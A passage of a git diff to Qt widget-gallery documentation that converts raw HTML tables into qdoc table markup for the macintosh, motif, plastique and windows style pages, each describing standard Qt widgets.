    -\endraw +\section2 Item Views + +\table 100% +\row +\o \image gtk-listview.png + The QListView class provides a default model/view implementation of a list/icon view. The QListWidget class provides a classic item-based list/icon view. +\o \image gtk-treeview.png + The QTreeView class provides a default model/view implementation of a tree view. The QTreeWidget class provides a classic item-based tree view. +\o \image gtk-tableview.png + The QTableView class provides a default model/view implementation of a table view. The QTableWidget class provides a classic item-based table view.\o +\o +\endtable + +\section2 Display Widgets + +\table 100% +\row +\o \image gtk-progressbar.png + The QProgressBar widget provides a horizontal progress bar. +\o \image gtk-label.png + The QLabel widget provides a text or image display. +\o \image gtk-lcdnumber.png + The QLCDNumber widget displays a number with LCD-like digits. +\endtable + +\section2 Input Widgets + +\table 100% +\row +\o \image gtk-lineedit.png + The QLineEdit widget is a one-line text editor. +\o \image gtk-dateedit.png + The QDateEdit class provides a widget for editing dates. +\o \image gtk-timeedit.png + The QTimeEdit class provides a widget for editing times. +\o \image gtk-datetimeedit.png + The QDateTimeEdit class provides a widget for editing dates and times. +\endtable + +\table 100% +\row +\o \image gtk-slider.png + The QSlider widget provides a vertical or horizontal slider. +\o \image gtk-combobox.png + The QComboBox widget is a combined button and pop-up list. +\o \image gtk-spinbox.png + The QSpinBox class provides a spin box widget. +\endtable + +\table 100% +\row +\o \image gtk-fontcombobox.png + The QFontComboBox widget is a specialized combobox that enables fonts to be selected from a pop-up list containing previews of available fonts. +\o \image gtk-doublespinbox.png + The QDoubleSpinBox class provides a spin box widget that allows double precision floating point numbers to be entered. +\o \image gtk-horizontalscrollbar.png + The QScrollBar widget provides a vertical or horizontal scroll bar. Here, we show a scroll bar with horizontal orientation. +\endtable + +\table 100% +\row +\o \image gtk-dial.png + The QDial class provides a rounded range control (like a speedometer or potentiometer). +\o \image gtk-textedit.png + The QTextEdit class provides a widget that is used to edit and display both plain and rich text. +\o \image gtk-calendarwidget.png + The QCalendarWidget class provides a monthly calendar widget that can be used to select dates. +\endtable */ diff --git a/doc/src/widgets-and-layouts/gallery-macintosh.qdoc b/doc/src/widgets-and-layouts/gallery-macintosh.qdoc index 30a78ca..44d7eb9 100644 --- a/doc/src/widgets-and-layouts/gallery-macintosh.qdoc +++ b/doc/src/widgets-and-layouts/gallery-macintosh.qdoc @@ -34,345 +34,105 @@ This page shows some of the widgets available in Qt when configured to use the "macintosh" style. -\raw HTML -

    Buttons

    +\section2 Buttons - -- - - - - - - - - - - - - - - - - -
    -\endraw -\inlineimage macintosh-pushbutton.png -\raw HTML - -\endraw -\inlineimage macintosh-toolbutton.png -\raw HTML -
    -\endraw -The QPushButton widget provides a command button.\raw HTML - -\endraw -The QToolButton class provides a quick-access button to commands - or options, usually used inside a QToolBar.\raw HTML -
    -\endraw -\inlineimage macintosh-checkbox.png -\raw HTML - -\endraw -\inlineimage macintosh-radiobutton.png -\raw HTML -
    -\endraw -The QCheckBox widget provides a checkbox with a text label.\raw HTML - -\endraw -The QRadioButton widget provides a radio button with a text or pixmap label.\raw HTML -
    -\endraw -\raw HTML -

    Containers

    +\table 100% +\row +\o \image macintosh-pushbutton.png + \caption The QPushButton widget provides a command button. +\o \image macintosh-toolbutton.png + \caption The QToolButton class provides a quick-access button to commands + or options, usually used inside a QToolBar. +\endtable - -- - - - - - - - - - - - - - - - - -
    -\endraw -\inlineimage macintosh-groupbox.png -\raw HTML - -\endraw -\inlineimage macintosh-tabwidget.png -\raw HTML -
    -\endraw -The QGroupBox widget provides a group box frame with a title.\raw HTML - -\endraw -The QTabWidget class provides a stack of tabbed widgets.\raw HTML -
    -\endraw -\inlineimage macintosh-frame.png -\raw HTML - -\endraw -\inlineimage macintosh-toolbox.png -\raw HTML -
    -\endraw -The QFrame widget provides a simple decorated container for other widgets.\raw HTML - -\endraw -The QToolBox class provides a column of tabbed widget items.\raw HTML -
    -\endraw -\raw HTML -

    Item Views

    +\table 100% +\row +\o \image macintosh-checkbox.png + \caption The QCheckBox widget provides a checkbox with a text label. +\o \image macintosh-radiobutton.png + \caption The QRadioButton widget provides a radio button with a text or pixmap label. +\endtable - -- - - - - - - - - - - - - - - -
    -\endraw -\inlineimage macintosh-listview.png -\raw HTML - -\endraw -\inlineimage macintosh-treeview.png -\raw HTML -
    -\endraw -The QListView class provides a default model/view implementation of a list/icon view. The QListWidget class provides a classic item-based list/icon view.\raw HTML - -\endraw -The QTreeView class provides a default model/view implementation of a tree view. The QTreeWidget class provides a classic item-based tree view.\raw HTML -
    -\endraw -\inlineimage macintosh-tableview.png -\raw HTML -
    -\endraw -The QTableView class provides a default model/view implementation of a table view. The QTableWidget class provides a classic item-based table view.\raw HTML -
    -\endraw -\raw HTML -

    Display Widgets

    +\section2 Containers - -- - - - - - - - - - - - - - - -
    -\endraw -\inlineimage macintosh-progressbar.png -\raw HTML - -\endraw -\inlineimage macintosh-lcdnumber.png -\raw HTML -
    -\endraw -The QProgressBar widget provides a horizontal progress bar.\raw HTML - -\endraw -The QLCDNumber widget displays a number with LCD-like digits.\raw HTML -
    -\endraw -\inlineimage macintosh-label.png -\raw HTML -
    -\endraw -The QLabel widget provides a text or image display.\raw HTML -
    -\endraw -\raw HTML -

    Input Widgets

    +\table 100% +\row +\o \image macintosh-groupbox.png + The The QGroupBox widget provides a group box frame with a title. +\o \image macintosh-tabwidget.png + The QTabWidget class provides a stack of tabbed widgets. +\o \image macintosh-frame.png + The QFrame widget provides a simple decorated container for other widgets. +\o \image macintosh-toolbox.png + The QToolBox class provides a column of tabbed widget items. +\endtable - -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -\endraw -\inlineimage macintosh-slider.png -\raw HTML - -\endraw -\inlineimage macintosh-lineedit.png -\raw HTML -
    -\endraw -The QSlider widget provides a vertical or horizontal slider.\raw HTML - -\endraw -The QLineEdit widget is a one-line text editor.\raw HTML -
    -\endraw -\inlineimage macintosh-combobox.png -\raw HTML - -\endraw -\inlineimage macintosh-doublespinbox.png -\raw HTML -
    -\endraw -The QComboBox widget is a combined button and pop-up list.\raw HTML - -\endraw -The QDoubleSpinBox class provides a spin box widget that allows double precision floating point numbers to be entered.\raw HTML -
    -\endraw -\inlineimage macintosh-spinbox.png -\raw HTML - -\endraw -\inlineimage macintosh-timeedit.png -\raw HTML -
    -\endraw -The QSpinBox class provides a spin box widget.\raw HTML - -\endraw -The QTimeEdit class provides a widget for editing times.\raw HTML -
    -\endraw -\inlineimage macintosh-dateedit.png -\raw HTML - -\endraw -\inlineimage macintosh-datetimeedit.png -\raw HTML -
    -\endraw -The QDateEdit class provides a widget for editing dates.\raw HTML - -\endraw -The QDateTimeEdit class provides a widget for editing dates and times.\raw HTML -
    -\endraw -\inlineimage macintosh-textedit.png -\raw HTML - -\endraw -\inlineimage macintosh-horizontalscrollbar.png -\raw HTML -
    -\endraw -The QTextEdit class provides a widget that is used to edit and - display both plain and rich text.\raw HTML - -\endraw -The QScrollBar widget provides a vertical or horizontal scroll bar. Here, we show a scroll bar with horizontal orientation.\raw HTML -
    -\endraw -\inlineimage macintosh-dial.png -\raw HTML - -\endraw -\inlineimage macintosh-calendarwidget.png -\raw HTML -
    -\endraw -The QDial class provides a rounded range control (like a - speedometer or potentiometer).\raw HTML - -\endraw -The QCalendarWidget class provides a monthly calendar widget that can be used to select dates.\raw HTML -
    -\endraw -\inlineimage macintosh-fontcombobox.png -\raw HTML -
    -\endraw -The QFontComboBox widget is a specialized combobox that enables fonts to be selected from a pop-up list containing previews of available fonts.\raw HTML -
    -\endraw +\section2 Item Views + +\table 100% +\row +\o \image macintosh-listview.png + The QListView class provides a default model/view implementation of a list/icon view. The QListWidget class provides a classic item-based list/icon view. +\o \image macintosh-treeview.png + The QTreeView class provides a default model/view implementation of a tree view. The QTreeWidget class provides a classic item-based tree view. +\o \image macintosh-tableview.png + The QTableView class provides a default model/view implementation of a table view. The QTableWidget class provides a classic item-based table view.\o +\o +\endtable + +\section2 Display Widgets + +\table 100% +\row +\o \image macintosh-progressbar.png + The QProgressBar widget provides a horizontal progress bar. +\o \image macintosh-label.png + The QLabel widget provides a text or image display. +\o \image macintosh-lcdnumber.png + The QLCDNumber widget displays a number with LCD-like digits. +\endtable + +\section2 Input Widgets + +\table 100% +\row +\o \image macintosh-lineedit.png + The QLineEdit widget is a one-line text editor. +\o \image macintosh-dateedit.png + The QDateEdit class provides a widget for editing dates. +\o \image macintosh-timeedit.png + The QTimeEdit class provides a widget for editing times. +\o \image macintosh-datetimeedit.png + The QDateTimeEdit class provides a widget for editing dates and times. +\endtable + +\table 100% +\row +\o \image macintosh-slider.png + The QSlider widget provides a vertical or horizontal slider. +\o \image macintosh-combobox.png + The QComboBox widget is a combined button and pop-up list. +\o \image macintosh-spinbox.png + The QSpinBox class provides a spin box widget. +\endtable + +\table 100% +\row +\o \image macintosh-fontcombobox.png + The QFontComboBox widget is a specialized combobox that enables fonts to be selected from a pop-up list containing previews of available fonts. +\o \image macintosh-doublespinbox.png + The QDoubleSpinBox class provides a spin box widget that allows double precision floating point numbers to be entered. +\o \image macintosh-horizontalscrollbar.png + The QScrollBar widget provides a vertical or horizontal scroll bar. Here, we show a scroll bar with horizontal orientation. +\endtable + +\table 100% +\row +\o \image macintosh-dial.png + The QDial class provides a rounded range control (like a speedometer or potentiometer). +\o \image macintosh-textedit.png + The QTextEdit class provides a widget that is used to edit and display both plain and rich text. +\o \image macintosh-calendarwidget.png + The QCalendarWidget class provides a monthly calendar widget that can be used to select dates. +\endtable */ diff --git a/doc/src/widgets-and-layouts/gallery-motif.qdoc b/doc/src/widgets-and-layouts/gallery-motif.qdoc index 861c22a..b9c95c8 100644 --- a/doc/src/widgets-and-layouts/gallery-motif.qdoc +++ b/doc/src/widgets-and-layouts/gallery-motif.qdoc @@ -34,345 +34,105 @@ This page shows some of the widgets available in Qt when configured to use the "motif" style. -\raw HTML -

    Buttons

    +\section2 Buttons - -- - - - - - - - - - - - - - - - - -
    -\endraw -\inlineimage motif-pushbutton.png -\raw HTML - -\endraw -\inlineimage motif-toolbutton.png -\raw HTML -
    -\endraw -The QPushButton widget provides a command button.\raw HTML - -\endraw -The QToolButton class provides a quick-access button to commands - or options, usually used inside a QToolBar.\raw HTML -
    -\endraw -\inlineimage motif-checkbox.png -\raw HTML - -\endraw -\inlineimage motif-radiobutton.png -\raw HTML -
    -\endraw -The QCheckBox widget provides a checkbox with a text label.\raw HTML - -\endraw -The QRadioButton widget provides a radio button with a text or pixmap label.\raw HTML -
    -\endraw -\raw HTML -

    Containers

    +\table 100% +\row +\o \image motif-pushbutton.png + \caption The QPushButton widget provides a command button. +\o \image motif-toolbutton.png + \caption The QToolButton class provides a quick-access button to commands + or options, usually used inside a QToolBar. +\endtable - -- - - - - - - - - - - - - - - - - -
    -\endraw -\inlineimage motif-groupbox.png -\raw HTML - -\endraw -\inlineimage motif-tabwidget.png -\raw HTML -
    -\endraw -The QGroupBox widget provides a group box frame with a title.\raw HTML - -\endraw -The QTabWidget class provides a stack of tabbed widgets.\raw HTML -
    -\endraw -\inlineimage motif-frame.png -\raw HTML - -\endraw -\inlineimage motif-toolbox.png -\raw HTML -
    -\endraw -The QFrame widget provides a simple decorated container for other widgets.\raw HTML - -\endraw -The QToolBox class provides a column of tabbed widget items.\raw HTML -
    -\endraw -\raw HTML -

    Item Views

    +\table 100% +\row +\o \image motif-checkbox.png + \caption The QCheckBox widget provides a checkbox with a text label. +\o \image motif-radiobutton.png + \caption The QRadioButton widget provides a radio button with a text or pixmap label. +\endtable - -- - - - - - - - - - - - - - - -
    -\endraw -\inlineimage motif-listview.png -\raw HTML - -\endraw -\inlineimage motif-treeview.png -\raw HTML -
    -\endraw -The QListView class provides a default model/view implementation of a list/icon view. The QListWidget class provides a classic item-based list/icon view.\raw HTML - -\endraw -The QTreeView class provides a default model/view implementation of a tree view. The QTreeWidget class provides a classic item-based tree view.\raw HTML -
    -\endraw -\inlineimage motif-tableview.png -\raw HTML -
    -\endraw -The QTableView class provides a default model/view implementation of a table view. The QTableWidget class provides a classic item-based table view.\raw HTML -
    -\endraw -\raw HTML -

    Display Widgets

    +\section2 Containers - -- - - - - - - - - - - - - - - -
    -\endraw -\inlineimage motif-progressbar.png -\raw HTML - -\endraw -\inlineimage motif-lcdnumber.png -\raw HTML -
    -\endraw -The QProgressBar widget provides a horizontal progress bar.\raw HTML - -\endraw -The QLCDNumber widget displays a number with LCD-like digits.\raw HTML -
    -\endraw -\inlineimage motif-label.png -\raw HTML -
    -\endraw -The QLabel widget provides a text or image display.\raw HTML -
    -\endraw -\raw HTML -

    Input Widgets

    +\table 100% +\row +\o \image motif-groupbox.png + The The QGroupBox widget provides a group box frame with a title. +\o \image motif-tabwidget.png + The QTabWidget class provides a stack of tabbed widgets. +\o \image motif-frame.png + The QFrame widget provides a simple decorated container for other widgets. +\o \image motif-toolbox.png + The QToolBox class provides a column of tabbed widget items. +\endtable - -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -\endraw -\inlineimage motif-slider.png -\raw HTML - -\endraw -\inlineimage motif-lineedit.png -\raw HTML -
    -\endraw -The QSlider widget provides a vertical or horizontal slider.\raw HTML - -\endraw -The QLineEdit widget is a one-line text editor.\raw HTML -
    -\endraw -\inlineimage motif-combobox.png -\raw HTML - -\endraw -\inlineimage motif-doublespinbox.png -\raw HTML -
    -\endraw -The QComboBox widget is a combined button and pop-up list.\raw HTML - -\endraw -The QDoubleSpinBox class provides a spin box widget that allows double precision floating point numbers to be entered.\raw HTML -
    -\endraw -\inlineimage motif-spinbox.png -\raw HTML - -\endraw -\inlineimage motif-timeedit.png -\raw HTML -
    -\endraw -The QSpinBox class provides a spin box widget.\raw HTML - -\endraw -The QTimeEdit class provides a widget for editing times.\raw HTML -
    -\endraw -\inlineimage motif-dateedit.png -\raw HTML - -\endraw -\inlineimage motif-datetimeedit.png -\raw HTML -
    -\endraw -The QDateEdit class provides a widget for editing dates.\raw HTML - -\endraw -The QDateTimeEdit class provides a widget for editing dates and times.\raw HTML -
    -\endraw -\inlineimage motif-textedit.png -\raw HTML - -\endraw -\inlineimage motif-horizontalscrollbar.png -\raw HTML -
    -\endraw -The QTextEdit class provides a widget that is used to edit and - display both plain and rich text.\raw HTML - -\endraw -The QScrollBar widget provides a vertical or horizontal scroll bar. Here, we show a scroll bar with horizontal orientation.\raw HTML -
    -\endraw -\inlineimage motif-dial.png -\raw HTML - -\endraw -\inlineimage motif-calendarwidget.png -\raw HTML -
    -\endraw -The QDial class provides a rounded range control (like a - speedometer or potentiometer).\raw HTML - -\endraw -The QCalendarWidget class provides a monthly calendar widget that can be used to select dates.\raw HTML -
    -\endraw -\inlineimage motif-fontcombobox.png -\raw HTML -
    -\endraw -The QFontComboBox widget is a specialized combobox that enables fonts to be selected from a pop-up list containing previews of available fonts.\raw HTML -
    -\endraw +\section2 Item Views + +\table 100% +\row +\o \image motif-listview.png + The QListView class provides a default model/view implementation of a list/icon view. The QListWidget class provides a classic item-based list/icon view. +\o \image motif-treeview.png + The QTreeView class provides a default model/view implementation of a tree view. The QTreeWidget class provides a classic item-based tree view. +\o \image motif-tableview.png + The QTableView class provides a default model/view implementation of a table view. The QTableWidget class provides a classic item-based table view.\o +\o +\endtable + +\section2 Display Widgets + +\table 100% +\row +\o \image motif-progressbar.png + The QProgressBar widget provides a horizontal progress bar. +\o \image motif-label.png + The QLabel widget provides a text or image display. +\o \image motif-lcdnumber.png + The QLCDNumber widget displays a number with LCD-like digits. +\endtable + +\section2 Input Widgets + +\table 100% +\row +\o \image motif-lineedit.png + The QLineEdit widget is a one-line text editor. +\o \image motif-dateedit.png + The QDateEdit class provides a widget for editing dates. +\o \image motif-timeedit.png + The QTimeEdit class provides a widget for editing times. +\o \image motif-datetimeedit.png + The QDateTimeEdit class provides a widget for editing dates and times. +\endtable + +\table 100% +\row +\o \image motif-slider.png + The QSlider widget provides a vertical or horizontal slider. +\o \image motif-combobox.png + The QComboBox widget is a combined button and pop-up list. +\o \image motif-spinbox.png + The QSpinBox class provides a spin box widget. +\endtable + +\table 100% +\row +\o \image motif-fontcombobox.png + The QFontComboBox widget is a specialized combobox that enables fonts to be selected from a pop-up list containing previews of available fonts. +\o \image motif-doublespinbox.png + The QDoubleSpinBox class provides a spin box widget that allows double precision floating point numbers to be entered. +\o \image motif-horizontalscrollbar.png + The QScrollBar widget provides a vertical or horizontal scroll bar. Here, we show a scroll bar with horizontal orientation. +\endtable + +\table 100% +\row +\o \image motif-dial.png + The QDial class provides a rounded range control (like a speedometer or potentiometer). +\o \image motif-textedit.png + The QTextEdit class provides a widget that is used to edit and display both plain and rich text. +\o \image motif-calendarwidget.png + The QCalendarWidget class provides a monthly calendar widget that can be used to select dates. +\endtable */ diff --git a/doc/src/widgets-and-layouts/gallery-plastique.qdoc b/doc/src/widgets-and-layouts/gallery-plastique.qdoc index 0ea62ee..5f2a1ec 100644 --- a/doc/src/widgets-and-layouts/gallery-plastique.qdoc +++ b/doc/src/widgets-and-layouts/gallery-plastique.qdoc @@ -34,345 +34,105 @@ This page shows some of the widgets available in Qt when configured to use the "plastique" style. -\raw HTML -

    Buttons

    +\section2 Buttons - -- - - - - - - - - - - - - - - - - -
    -\endraw -\inlineimage plastique-pushbutton.png -\raw HTML - -\endraw -\inlineimage plastique-toolbutton.png -\raw HTML -
    -\endraw -The QPushButton widget provides a command button.\raw HTML - -\endraw -The QToolButton class provides a quick-access button to commands - or options, usually used inside a QToolBar.\raw HTML -
    -\endraw -\inlineimage plastique-checkbox.png -\raw HTML - -\endraw -\inlineimage plastique-radiobutton.png -\raw HTML -
    -\endraw -The QCheckBox widget provides a checkbox with a text label.\raw HTML - -\endraw -The QRadioButton widget provides a radio button with a text or pixmap label.\raw HTML -
    -\endraw -\raw HTML -

    Containers

    +\table 100% +\row +\o \image plastique-pushbutton.png + \caption The QPushButton widget provides a command button. +\o \image plastique-toolbutton.png + \caption The QToolButton class provides a quick-access button to commands + or options, usually used inside a QToolBar. +\endtable - -- - - - - - - - - - - - - - - - - -
    -\endraw -\inlineimage plastique-groupbox.png -\raw HTML - -\endraw -\inlineimage plastique-tabwidget.png -\raw HTML -
    -\endraw -The QGroupBox widget provides a group box frame with a title.\raw HTML - -\endraw -The QTabWidget class provides a stack of tabbed widgets.\raw HTML -
    -\endraw -\inlineimage plastique-frame.png -\raw HTML - -\endraw -\inlineimage plastique-toolbox.png -\raw HTML -
    -\endraw -The QFrame widget provides a simple decorated container for other widgets.\raw HTML - -\endraw -The QToolBox class provides a column of tabbed widget items.\raw HTML -
    -\endraw -\raw HTML -

    Item Views

    +\table 100% +\row +\o \image plastique-checkbox.png + \caption The QCheckBox widget provides a checkbox with a text label. +\o \image plastique-radiobutton.png + \caption The QRadioButton widget provides a radio button with a text or pixmap label. +\endtable - -- - - - - - - - - - - - - - - -
    -\endraw -\inlineimage plastique-listview.png -\raw HTML - -\endraw -\inlineimage plastique-treeview.png -\raw HTML -
    -\endraw -The QListView class provides a default model/view implementation of a list/icon view. The QListWidget class provides a classic item-based list/icon view.\raw HTML - -\endraw -The QTreeView class provides a default model/view implementation of a tree view. The QTreeWidget class provides a classic item-based tree view.\raw HTML -
    -\endraw -\inlineimage plastique-tableview.png -\raw HTML -
    -\endraw -The QTableView class provides a default model/view implementation of a table view. The QTableWidget class provides a classic item-based table view.\raw HTML -
    -\endraw -\raw HTML -

    Display Widgets

    +\section2 Containers - -- - - - - - - - - - - - - - - -
    -\endraw -\inlineimage plastique-progressbar.png -\raw HTML - -\endraw -\inlineimage plastique-lcdnumber.png -\raw HTML -
    -\endraw -The QProgressBar widget provides a horizontal progress bar.\raw HTML - -\endraw -The QLCDNumber widget displays a number with LCD-like digits.\raw HTML -
    -\endraw -\inlineimage plastique-label.png -\raw HTML -
    -\endraw -The QLabel widget provides a text or image display.\raw HTML -
    -\endraw -\raw HTML -

    Input Widgets

    +\table 100% +\row +\o \image plastique-groupbox.png + The The QGroupBox widget provides a group box frame with a title. +\o \image plastique-tabwidget.png + The QTabWidget class provides a stack of tabbed widgets. +\o \image plastique-frame.png + The QFrame widget provides a simple decorated container for other widgets. +\o \image plastique-toolbox.png + The QToolBox class provides a column of tabbed widget items. +\endtable - -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -\endraw -\inlineimage plastique-slider.png -\raw HTML - -\endraw -\inlineimage plastique-lineedit.png -\raw HTML -
    -\endraw -The QSlider widget provides a vertical or horizontal slider.\raw HTML - -\endraw -The QLineEdit widget is a one-line text editor.\raw HTML -
    -\endraw -\inlineimage plastique-combobox.png -\raw HTML - -\endraw -\inlineimage plastique-doublespinbox.png -\raw HTML -
    -\endraw -The QComboBox widget is a combined button and pop-up list.\raw HTML - -\endraw -The QDoubleSpinBox class provides a spin box widget that allows double precision floating point numbers to be entered.\raw HTML -
    -\endraw -\inlineimage plastique-spinbox.png -\raw HTML - -\endraw -\inlineimage plastique-timeedit.png -\raw HTML -
    -\endraw -The QSpinBox class provides a spin box widget.\raw HTML - -\endraw -The QTimeEdit class provides a widget for editing times.\raw HTML -
    -\endraw -\inlineimage plastique-dateedit.png -\raw HTML - -\endraw -\inlineimage plastique-datetimeedit.png -\raw HTML -
    -\endraw -The QDateEdit class provides a widget for editing dates.\raw HTML - -\endraw -The QDateTimeEdit class provides a widget for editing dates and times.\raw HTML -
    -\endraw -\inlineimage plastique-textedit.png -\raw HTML - -\endraw -\inlineimage plastique-horizontalscrollbar.png -\raw HTML -
    -\endraw -The QTextEdit class provides a widget that is used to edit and - display both plain and rich text.\raw HTML - -\endraw -The QScrollBar widget provides a vertical or horizontal scroll bar. Here, we show a scroll bar with horizontal orientation.\raw HTML -
    -\endraw -\inlineimage plastique-dial.png -\raw HTML - -\endraw -\inlineimage plastique-calendarwidget.png -\raw HTML -
    -\endraw -The QDial class provides a rounded range control (like a - speedometer or potentiometer).\raw HTML - -\endraw -The QCalendarWidget class provides a monthly calendar widget that can be used to select dates.\raw HTML -
    -\endraw -\inlineimage plastique-fontcombobox.png -\raw HTML -
    -\endraw -The QFontComboBox widget is a specialized combobox that enables fonts to be selected from a pop-up list containing previews of available fonts.\raw HTML -
    -\endraw +\section2 Item Views + +\table 100% +\row +\o \image plastique-listview.png + The QListView class provides a default model/view implementation of a list/icon view. The QListWidget class provides a classic item-based list/icon view. +\o \image plastique-treeview.png + The QTreeView class provides a default model/view implementation of a tree view. The QTreeWidget class provides a classic item-based tree view. +\o \image plastique-tableview.png + The QTableView class provides a default model/view implementation of a table view. The QTableWidget class provides a classic item-based table view.\o +\o +\endtable + +\section2 Display Widgets + +\table 100% +\row +\o \image plastique-progressbar.png + The QProgressBar widget provides a horizontal progress bar. +\o \image plastique-label.png + The QLabel widget provides a text or image display. +\o \image plastique-lcdnumber.png + The QLCDNumber widget displays a number with LCD-like digits. +\endtable + +\section2 Input Widgets + +\table 100% +\row +\o \image plastique-lineedit.png + The QLineEdit widget is a one-line text editor. +\o \image plastique-dateedit.png + The QDateEdit class provides a widget for editing dates. +\o \image plastique-timeedit.png + The QTimeEdit class provides a widget for editing times. +\o \image plastique-datetimeedit.png + The QDateTimeEdit class provides a widget for editing dates and times. +\endtable + +\table 100% +\row +\o \image plastique-slider.png + The QSlider widget provides a vertical or horizontal slider. +\o \image plastique-combobox.png + The QComboBox widget is a combined button and pop-up list. +\o \image plastique-spinbox.png + The QSpinBox class provides a spin box widget. +\endtable + +\table 100% +\row +\o \image plastique-fontcombobox.png + The QFontComboBox widget is a specialized combobox that enables fonts to be selected from a pop-up list containing previews of available fonts. +\o \image plastique-doublespinbox.png + The QDoubleSpinBox class provides a spin box widget that allows double precision floating point numbers to be entered. +\o \image plastique-horizontalscrollbar.png + The QScrollBar widget provides a vertical or horizontal scroll bar. Here, we show a scroll bar with horizontal orientation. +\endtable + +\table 100% +\row +\o \image plastique-dial.png + The QDial class provides a rounded range control (like a speedometer or potentiometer). +\o \image plastique-textedit.png + The QTextEdit class provides a widget that is used to edit and display both plain and rich text. +\o \image plastique-calendarwidget.png + The QCalendarWidget class provides a monthly calendar widget that can be used to select dates. +\endtable */ diff --git a/doc/src/widgets-and-layouts/gallery-windows.qdoc b/doc/src/widgets-and-layouts/gallery-windows.qdoc index d3464a0..fe38745 100644 --- a/doc/src/widgets-and-layouts/gallery-windows.qdoc +++ b/doc/src/widgets-and-layouts/gallery-windows.qdoc @@ -34,345 +34,105 @@ This page shows some of the widgets available in Qt when configured to use the "windows" style. -\raw HTML -

    Buttons

    +\section2 Buttons - -- - - - - - - - - - - - - - - - - -
    -\endraw -\inlineimage windows-pushbutton.png -\raw HTML - -\endraw -\inlineimage windows-toolbutton.png -\raw HTML -
    -\endraw -The QPushButton widget provides a command button.\raw HTML - -\endraw -The QToolButton class provides a quick-access button to commands - or options, usually used inside a QToolBar.\raw HTML -
    -\endraw -\inlineimage windows-checkbox.png -\raw HTML - -\endraw -\inlineimage windows-radiobutton.png -\raw HTML -
    -\endraw -The QCheckBox widget provides a checkbox with a text label.\raw HTML - -\endraw -The QRadioButton widget provides a radio button with a text or pixmap label.\raw HTML -
    -\endraw -\raw HTML -

    Containers

    +\table 100% +\row +\o \image windows-pushbutton.png + \caption The QPushButton widget provides a command button. +\o \image windows-toolbutton.png + \caption The QToolButton class provides a quick-access button to commands + or options, usually used inside a QToolBar. +\endtable - -- - - - - - - - - - - - - - - - - -
    -\endraw -\inlineimage windows-groupbox.png -\raw HTML - -\endraw -\inlineimage windows-tabwidget.png -\raw HTML -
    -\endraw -The QGroupBox widget provides a group box frame with a title.\raw HTML - -\endraw -The QTabWidget class provides a stack of tabbed widgets.\raw HTML -
    -\endraw -\inlineimage windows-frame.png -\raw HTML - -\endraw -\inlineimage windows-toolbox.png -\raw HTML -
    -\endraw -The QFrame widget provides a simple decorated container for other widgets.\raw HTML - -\endraw -The QToolBox class provides a column of tabbed widget items.\raw HTML -
    -\endraw -\raw HTML -

    Item Views

    +\table 100% +\row +\o \image windows-checkbox.png + \caption The QCheckBox widget provides a checkbox with a text label. +\o \image windows-radiobutton.png + \caption The QRadioButton widget provides a radio button with a text or pixmap label. +\endtable - -- - - - - - - - - - - - - - - -
    -\endraw -\inlineimage windows-listview.png -\raw HTML - -\endraw -\inlineimage windows-treeview.png -\raw HTML -
    -\endraw -The QListView class provides a default model/view implementation of a list/icon view. The QListWidget class provides a classic item-based list/icon view.\raw HTML - -\endraw -The QTreeView class provides a default model/view implementation of a tree view. The QTreeWidget class provides a classic item-based tree view.\raw HTML -
    -\endraw -\inlineimage windows-tableview.png -\raw HTML -
    -\endraw -The QTableView class provides a default model/view implementation of a table view. The QTableWidget class provides a classic item-based table view.\raw HTML -
    -\endraw -\raw HTML -

    Display Widgets

    +\section2 Containers - -- - - - - - - - - - - - - - - -
    -\endraw -\inlineimage windows-progressbar.png -\raw HTML - -\endraw -\inlineimage windows-lcdnumber.png -\raw HTML -
    -\endraw -The QProgressBar widget provides a horizontal progress bar.\raw HTML - -\endraw -The QLCDNumber widget displays a number with LCD-like digits.\raw HTML -
    -\endraw -\inlineimage windows-label.png -\raw HTML -
    -\endraw -The QLabel widget provides a text or image display.\raw HTML -
    -\endraw -\raw HTML -

    Input Widgets

    +\table 100% +\row +\o \image windows-groupbox.png + The The QGroupBox widget provides a group box frame with a title. +\o \image windows-tabwidget.png + The QTabWidget class provides a stack of tabbed widgets. +\o \image windows-frame.png + The QFrame widget provides a simple decorated container for other widgets. +\o \image windows-toolbox.png + The QToolBox class provides a column of tabbed widget items. +\endtable - -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -\endraw -\inlineimage windows-slider.png -\raw HTML - -\endraw -\inlineimage windows-lineedit.png -\raw HTML -
    -\endraw -The QSlider widget provides a vertical or horizontal slider.\raw HTML - -\endraw -The QLineEdit widget is a one-line text editor.\raw HTML -
    -\endraw -\inlineimage windows-combobox.png -\raw HTML - -\endraw -\inlineimage windows-doublespinbox.png -\raw HTML -
    -\endraw -The QComboBox widget is a combined button and pop-up list.\raw HTML - -\endraw -The QDoubleSpinBox class provides a spin box widget that allows double precision floating point numbers to be entered.\raw HTML -
    -\endraw -\inlineimage windows-spinbox.png -\raw HTML - -\endraw -\inlineimage windows-timeedit.png -\raw HTML -
    -\endraw -The QSpinBox class provides a spin box widget.\raw HTML - -\endraw -The QTimeEdit class provides a widget for editing times.\raw HTML -
    -\endraw -\inlineimage windows-dateedit.png -\raw HTML - -\endraw -\inlineimage windows-datetimeedit.png -\raw HTML -
    -\endraw -The QDateEdit class provides a widget for editing dates.\raw HTML - -\endraw -The QDateTimeEdit class provides a widget for editing dates and times.\raw HTML -
    -\endraw -\inlineimage windows-textedit.png -\raw HTML - -\endraw -\inlineimage windows-horizontalscrollbar.png -\raw HTML -
    -\endraw -The QTextEdit class provides a widget that is used to edit and - display both plain and rich text.\raw HTML - -\endraw -The QScrollBar widget provides a vertical or horizontal scroll bar. Here, we show a scroll bar with horizontal orientation.\raw HTML -
    -\endraw -\inlineimage windows-dial.png -\raw HTML - -\endraw -\inlineimage windows-calendarwidget.png -\raw HTML -
    -\endraw -The QDial class provides a rounded range control (like a - speedometer or potentiometer).\raw HTML - -\endraw -The QCalendarWidget class provides a monthly calendar widget that can be used to select dates.\raw HTML -
    -\endraw -\inlineimage windows-fontcombobox.png -\raw HTML -
    -\endraw -The QFontComboBox widget is a specialized combobox that enables fonts to be selected from a pop-up list containing previews of available fonts.\raw HTML -
